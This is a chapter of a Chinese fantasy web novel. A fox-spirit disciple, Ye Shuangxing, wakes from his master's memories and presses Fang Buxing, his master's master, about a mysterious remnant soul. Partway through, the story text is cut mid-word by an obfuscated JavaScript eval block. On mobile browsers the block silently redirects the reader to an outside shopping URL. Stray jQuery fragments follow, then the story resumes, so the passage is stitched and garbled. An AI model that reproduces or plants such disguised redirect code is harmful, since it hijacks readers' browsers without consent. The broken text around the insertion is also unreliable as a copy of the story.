叶妃寒的回忆,到此时戛然而止。
叶霜行还没来得及跟上去,便脱离出梦境,与端着一盏茶师祖面面相觑。
师祖依旧一身红衣,师祖头上一枚白玉簪,簪头刻成一片鸟羽模样,像山大王的羽毛。
叶霜行心事重重,心神恍惚。
“你看见了吗?凤湖剑山如何解封?”方步行把手里的茶递给叶霜行,尽量让自己的语气显得不要那般急迫。
茶香氤氲了小狐狸的面容,他仍旧维持着捧茶的姿势,像被抽走了魂魄。
“这到底是看见什么了?”方步行坐叶霜行旁边。
“一个人经历了什么才会一心求死呢?”叶霜行眼前一幕幕,全是师父不要命的样子,小狐狸经此一梦,好像长大了许多。
叶霜行的指尖抵在温热的茶盏壁上,暖意顺着指尖肌理缓缓蔓延,这点暖意却无法驱散心底的阴霾。
他垂着眼,长长的眼睫簌簌轻颤,投下一片细碎的阴影。
往日里那双灵动狡黠、总带着几分少年稚气的狐狸眼,此刻蒙着一层沉沉的雾,没了半分鲜活光亮。
方步行瞧他这半死不活的模样,罕见地有些心虚。
小徒孙若是一直这副样子,定会被如意珠看出端倪的,师祖入梦把徒孙教成了痴傻,他怎么跟如意珠交代呦。
如意珠?
提到自己徒弟,方步行眼珠一转,计上心头。
方步行不再催促小徒孙说出梦中所见,而是静静坐在一旁,红衣广袖随意垂落,头顶那支鸟羽白玉簪在窗棂漏下的微光里泛着温润的白。
他两次与叶霜行接触,皆是恣意张扬、随性洒脱,此刻眉宇间却敛了惯有的笑意,添了几分沉郁。
他定定望着失魂落魄的小徒弟,轻叹一声,“我的徒弟我了解,她接了守山剑,自然也守护凤湖剑山为重,哪怕牺牲自己,也要护住师门。”
方步行话锋一转,语气轻快了些,“可是那都已经过去了,她现在好好地,还是整个九州都避其锋芒的存在,整个师门也都好好地,所以你——”
“如今好好地,曾经受过的伤也不代表不存在!”小狐狸情绪激动起来,圆润的狐狸眼里布满血丝,强烈地责备之意让方步行也有片刻失语。
有情绪起伏了,也算是好事,方步行心下一松,才刚要开口。
却听徒孙飞速问道:“师祖,其实你现在已经死了对吗?”
“你的魂魄寄宿在我师父的本命剑里是不是?”
小狐狸像是下定了某种决心,破釜沉舟一般看向师祖眼底,好像就等师祖说出一个是字来。
“你说什么?!”方步行失语片刻后终于找回了自己的声音,手中凭空出现了一柄折扇,狠狠朝叶霜行肩上一敲,“你才死了你才死了!”
“我好端端一个大活人站你面前你说我死了?简直是欺师灭祖!”
方步行连敲三下之后艰难寻回理智住了手,打出个好歹如意珠会生气的。
“究竟是发生了什么给了你一种,师祖已经仙去的错觉?”难道是狐狸的脑子长得比人慢吗?
狐狸满心的笃定被师祖打散了,他愣愣道:“在师父的记忆里,她倒下去时,有道残魂从枕碧流里跑出来接住了她,不是您吗?”
问到最后,狐狸又找回了些信心,声音也大了几分。
方步行气极反笑,怒道:“残魂?我若那时是道残魂,到此时投胎都投了八回了,哪还能传你术法。”
“不是您?”狐狸半是疑惑半是欢喜,“那会是谁呢?”
狐狸执起师祖的手,贴到自己的额头上,闭上眼睛给师祖分享,自己在师父的记忆里见到的一切。
温热的灵力自叶霜行的额头与方步行的掌心相接,柔和又纯粹,顺着经脉缓缓流淌,毫无半分保留。
下一瞬,无数破碎又清晰的画面骤然涌入方步行的识海,取代了方才的气恼与无奈。
方步行猛地回神,骤然收回手掌,他缓缓吐出一口气,不由得长叹一句,“原来如此。”
“师祖你认识那人?他是谁?”狐狸语气有些急,扯了扯方步行的袖子。
他是谁?
好问题。
方步行低头看自己被徒孙拽皱的衣袖,又看看半点藏不住自己心事的徒孙。
“这是你师父记忆里的人,你该问她去才是,你问师祖,师祖又怎么能知道呢?”
方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709469|207622||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
步行慢吞吞说道。
“您不知道?”小狐狸上下打量师祖,仿佛能盯出句自己想听的真话似的。
小狐狸眼里的疑惑几乎要凝成实质,他微微蹙着眉,鼻尖轻皱,一副不肯轻易罢休的模样。
方才灵力共享入识海,师祖分明一眼就看懂了那道藏在枕碧流里的虚影,此刻却偏偏故作不知,分明是有意隐瞒。
叶霜行不肯松手,指尖依旧攥着方步行的红衣袖角,力道轻轻的,却带着执拗的倔强。
那道凭空而出、温柔接住师父的残影,成了他此刻最放不下的事,悬在他心头,让他分外在意。
“师祖,您骗人。”他抬眸,那双方才蒙满阴霾的狐狸眼此刻清亮逼人,直直望进方步行眼底,“您方才看完记忆,半点讶异都没有,您一定认得他。”
方步行被他拆穿得坦荡,眼底掠过一丝微不可察的无奈,暗自唏嘘,这小狐狸看着单纯懵懂,实则心思剔透,细腻得吓人。
晚风轻拂,吹动他红衣广袖,头顶那枚鸟羽白玉簪微微晃动,碎光错落。
方步行坐直身形,眸光悠远,望向窗外沉沉云天,语气漫不经心,却藏着几分怅然。
“不是我不愿说。”
“那怎样才愿说?”叶霜行立刻追问,不肯放过分毫线索,“是天机不可泄露,还是……是师父不愿让人知晓的过往?”
方步行垂眸看向他,看着少年眼底未消的红血丝,看着他眼底沉甸甸的心疼与急切,心底软了几分,笑道:“是师祖真的不知道!”
方步行屈指一弹,叶霜行从自己的梦境中被驱逐出来,小狐狸惊坐起身,急切道:“到底是谁啊师祖!”
“你在梦里看见你师祖了?”
叶霜行半睁的眼睛彻底睁开,圆润的眼睛聚焦,看清了自己手里攥着一截青色的布料,顺着那块布料看过去,是坐在他床头的师父。
这截青色的布料,是师父的袖子。
师父正歪着头看他,这姿势和他在梦中见过的一样。
与梦境中不同的是,此刻的师父,眼底盛满了关心。
“师父!”小狐狸声音带着哭腔,一头扎进师父怀里,双手紧紧环着师父的腰。